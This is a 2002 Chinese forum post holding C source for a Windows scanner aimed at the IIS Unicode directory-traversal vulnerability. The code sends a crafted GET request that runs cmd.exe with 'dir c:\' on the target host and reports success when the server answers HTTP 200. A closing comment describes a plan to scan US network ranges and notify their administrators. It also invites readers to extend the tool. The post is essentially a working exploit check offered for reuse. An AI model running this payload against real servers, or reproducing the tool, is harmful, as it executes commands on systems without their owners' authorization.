发信人: maxview()
整理人: starseacn(2002-03-31 21:12:42), 站内信件
|
/*在网上找了很久,发现开发源代码的扫描器都是linux的,win中好像没有,因此写了一个,这个源代码只扫描一个unicode漏洞,其它的没有时间也没有比较都写出来,有兴趣的朋友可以自行修改*/
/*如果您想转载这篇代码,请保持其完整性,当然不保持完整性我也没办法,当然,要是您对其进行了修改,希望能够给我一份,大家一起学习学习。请mailto:[email protected] */
/*程序编译环境:Borland C++ 5.5*/
/*编译方法: bcc32 -Ic:\windows\bcc55\include -Lc:\windows\bcc55\lib scan.cpp */
// -============= scan.cpp ==============- //
#include [stdio.h]
#include [string.h]
#include [winsock.h]
main(int argc,char *argv[])
{
if(argc!=2){
printf("\nUseage: scan [hostname] of (IP address)\n");
exit(1);
}
int sock;
struct sockaddr_in blah;
struct hostent *he;
WSADATA wsaData;
WORD wVersionRequested=MAKEWORD(1,1);
char buff[1024];
char *ex="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
char foundmsg[]="HTTP/1.1 200 OK";
if (WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock Initialization failed.\n");
exit(1);
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n");
exit(1);
}
sock = socket(AF_INET,SOCK_STREAM,0);
blah.sin_family = AF_INET;
blah.sin_port = htons(80);
blah.sin_addr.s_addr= inet_addr(argv[1]);
if ((he=gethostbyname(argv[1]))!=NULL){
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==INADDR_NONE){
WSACleanup();
exit(1);
}
}
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex,strlen(ex),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,foundmsg)!=NULL)
printf("Found!\n");
//printf("%s",buff);
}
closesocket(sock);
WSACleanup();
}
/*写此程序的目的:
大家还记得prizon box吗?名字好像记错了,就是那个美国的什么“监狱盒子”的家伙,他每天都用unicode漏洞修改xxx.com.cn的网站,已经黑客了大约几百了吧,我很生气,不过我不赞成咱们也去用这个漏洞黑他们,写这个程序是希望有高手对其进行完善,然后我们用这个程序扫描美国的网段,并且将找到由此漏洞的服务器通知他们的网管,让他们看看,咱们真正的“以德服人”,中国人,应该大度,别人用无聊的手段对付咱们,咱们不要计较,反而去帮助他们,这样无形中就已经羞辱他们了。
(说的不合您的胃口的话,可不要动手呀)*/
|
|